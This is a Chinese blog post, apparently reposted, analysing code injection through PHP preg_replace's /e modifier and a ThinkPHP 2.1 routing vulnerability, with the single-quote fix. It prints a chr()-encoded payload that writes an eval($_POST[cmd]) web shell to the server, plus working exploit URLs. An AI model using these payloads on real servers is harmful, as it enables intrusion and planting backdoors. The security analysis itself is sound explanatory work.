最新消息:

preg_replace危险的/e修饰符

php安全 admin 2470浏览 0评论

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确 保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。

举例:

<?php
preg_replace (“/(</?)(w+)([^>]*>)/e”,
“\1.strtoupper(\2).\3”,
$html_body);
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:

通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<?
echo preg_replace(“/test/e”,$_GET[“h”],”jutst test”);
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);

执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<?
function test($str)
{

}

echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1”)’, $_GET[“h”]);
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?

肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。

有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行(注意是{${phpinfo()}}会在双引号下执行,而${phpinfo()}是不会执行的)。为什么呢?

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。

可以先做如下测试:

echo “{${phpinfo()}}”;   phpinfo会被成功执行了。

可以用下面代码测试

<?php
$a = “${@print(‘hello’)}”;
$b = “{${phpinfo()}}”;
#$b = “${phpinfo()}”;  #这样不能执行
?>
执行结果如下:

20130729222523

如何防范这种漏洞呢?

将’test(“\1”)’ 修改为”test(‘\1’)”,这样‘${phpinfo()}’就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

参考文章

《php手册 – preg_replace》 http://www.yesky.com/imagesnew/software/php/zh/function.preg-replace.html
《Uchome <=2.0 后台GetWebShell 漏洞》  http://www.5luyu.cn/article/jishu/708.htm
《preg_replace漏洞利用详解》 http://www.dbgger.com/?id=334 (这网站界面巨像安全焦点)

PHP安全之慎用preg_replace的/e修饰符

PHP以其易用性和可移植性正被广泛应用于WEB开发。然而,在我们使用的过程中,也要十分小心,从随处可见的XSS(新浪微博发送大量垃 圾信息事件)到前段时间爆出来的Hash冲突的DDOS攻击,最近,wooyun上面发布了一个关于ThinkPHP框架的漏洞(最新版已经修复),以前 也是我用过的第一个框架,昨晚花时间重现了一下,查阅了下程序的原理。本文主要来重现该漏洞,然后分析代码,给出漏洞的原因,用这个漏洞去检验可能对系统 造成的破坏,最后总结,防范的方法。

漏洞主要是由mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 这个函数引起的,我们先看官方说明:

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确 保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。

我们不妨先看一下这个示例

preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会 将 replacement 参数当作 PHP 代码执行)。这个正则被正确的匹配到,在进行替换的过程中,需要将$_GET[“h”]传入的 String当作函数来运行,因此phpinfo()被成功执行。

代码如下:

1
2
3
<?php
preg_replace("/test/e",$_GET["h"],"jutst test");
?>

访问的url : ?h=phpinfo()

进而,我们进入ThinkPHP的源码,下载2.1版(2.1以后已经被修复)。在/ThinikPHP/Lib/ThinkPHP/Util/Dispatcher.class.php的dispatch函数中,找到这句话:code

在ThinkPHP的路由功能中,很多地方用到了preg_replace函数的/e参数,然而最严重的是这个文件中的这句话,因为几乎影响了所有使用Thinkphp的项目。

显然,这个使用了/e函数,会导致第二个参数当作函数使用。我们来分析一下这句话:

正则匹配的是 :字母开头,加上“/”分隔符,后面跟一个非”/”的元素,被替换成$var[“分隔符前的字母”]=分隔符后的值;作者的本意是要将这么一对一对的参数/值的形式的url写入到 $var[$key] = $value的数组中。

例如:URL,index.php?s=/model/action/par1/value1

将被解析成 :model模块的action方法,参数的处理放在这句话中,$deprde的值是“/”,由于/par1/value1(剩余的URL参数)匹配到了 正则表达式,则会用第二个参数去进行替换。那么第二个参数应该被当作一个php语句来执行,他是一个赋值语句,执行的结果为:$var[“par1”] = “value1″,作者以此来达到分析url的目的,也实现了ThinkPHP的C层。

但是在赋值的时候,使用的是双引号。危险的地方实际上在这里,在 php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。可以先做如下测试:

$a = “{${phpinfo()}}”;   phpinfo会被成功执行。因此,我们将第二个变量替换成我们需要的函数,构造出来的攻击url大致如下:

http://host/index.php/Model/Action/par/${@print(THINK_VERSION)}

我们使用ThinkPHP2.1_full_with_extend ,使用examlpe里面的Blog示例,快速搭建一个Thinkphp项目,然后访问http://host/index.php/Model/Action/par/${@print(THINK_VERSION)},可以在左上角打印出当前的TP版本,利用这个来执行php函数,相当于开启了一个PHP的一句话后门。

具体分析是:这句话的/par /${@print(THINK_VERSION)}将匹配到正则表达式,将会执行第二个参数,具体语句是$var[‘par’] = “${@print(THINK_VERSION)} “; 问题出在双引号上面,这个会执行里面的语句,包含很多危险的语句,包含phpinfo(),读取数据库配置等等。

截至目前,在Google上还可以找到许多这样的站点,很多站点都可以直接执行phpinfo(),在新版的ThinkPHP中已经修复了这个漏洞,将第二个参数的双引号改为单引号:

'$var[\'\\1\']='\\2';'

在我们以后使用preg_replace的/e修饰符的时候,需要注意这个双引号和单引号,像框架类的漏洞,一般影响的范围都非常的广。

 

转载请注明:jinglingshu的博客 » preg_replace危险的/e修饰符

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 这篇文章不仅讲解了preg_replace()函数的/e修饰符的危害和如何利用(如一种隐藏在JPG图片EXIF中的后门http://www.jinglingshu.wiki/?p=1408)。 还讲了一个知道但认为无法利用的知识点:在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。利用代码参考
    admin12年前 (2013-07-29)回复